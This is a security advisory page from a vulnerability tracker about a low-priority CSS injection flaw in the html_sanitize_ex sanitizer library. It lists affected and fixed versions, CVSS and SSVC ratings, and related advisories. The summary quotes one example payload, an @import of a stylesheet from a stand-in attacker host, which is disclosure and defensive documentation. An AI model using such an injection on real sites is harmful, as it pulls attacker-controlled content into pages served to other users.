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TI-2026-48333 Aliases CVE-2026-68747GHSA-g72r-5wgp-6532

CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

Priority LOW 12CWE-74Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Passive
Attack complexity
Low
Attack requirements
Present
Impact type
—
Confidentiality · integrity · availability
None · None · None
Fix status
Fixed

Attack profile from CVSS 4.0 · CNA. Fix status from CNA.

Summary

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.

Why it matters now

Exploitation None reported CISA SSVC · not in CISA KEV
EPSS 0.00448 39th percentileScored 2026-11-07
Fix Fixed html_sanitize_ex (rrrene): 1.4.5, 1.5.4

SSVC decision points

CISA ADP · SSVC 2.0.3

Exploitation
None
Automatable
No
Technical impact
Partial

The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.

Affected products

VendorProductAffected versionsFixed inStatusSource
rrrenehtml_sanitize_ex0.3.1 to before 1.4.5; 1.5.0-rc.0 to before 1.5.41.4.5, 1.5.4Patch availableCNA
  • html_sanitize_ex Vendorrrrene Affected 0.3.1 to before 1.4.5; 1.5.0-rc.0 to before 1.5.4 Fixed in 1.4.5, 1.5.4 Patch available CNA

CPE configurations NVD · 1

CPEVersionsRoleVendor
cpe:2.3:a:rrrene:htmlsanitizeex:*:*:*:*:*:*:*:*0.3.1 to before 1.5.4Vulnerablerrrene
  • cpe:2.3:a:rrrene:htmlsanitizeex:*:*:*:*:*:*:*:* Versions 0.3.1 to before 1.5.4 Vulnerable ·rrrene

Remediation

  • Fix · CNA html_sanitize_ex (rrrene) Fixed in 1.4.5, 1.5.4

Timeline

  1. 2026-10-02 Threatist record created from CVE-2026-68747
  2. 2026-10-03 Alias added: GHSA-g72r-5wgp-6532

References

Patch 4

Advisory 1

  • TI-2026-48335 Quadratic sibling re-flattening in the html_sanitize_ex traversal engine allows CPU-exhaustion denial of service CVSS 4.0HIGH 8.2
  • TI-2026-48334 Quadratic regex backtracking in the html_sanitize_ex CSS scrubber allows CPU-exhaustion denial of service CVSS 4.0HIGH 8.2
  • TI-2026-47137 html_sanitize_ex HTML5 scrubber keeps attacker-supplied form-association attributes, allowing form hijacking CVSS 4.0MEDIUM 4.8
  • TI-2026-47464 html_sanitize_ex HTML5 scrubber keeps attacker-supplied `<object>` elements, allowing untrusted content embedding CVSS 4.0LOW 2.3
  • TI-2026-47457 html_sanitize_ex HTML5 scrubber keeps attacker-supplied meta refresh, allowing forced cross-origin redirection CVSS 4.0LOW 2.3

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences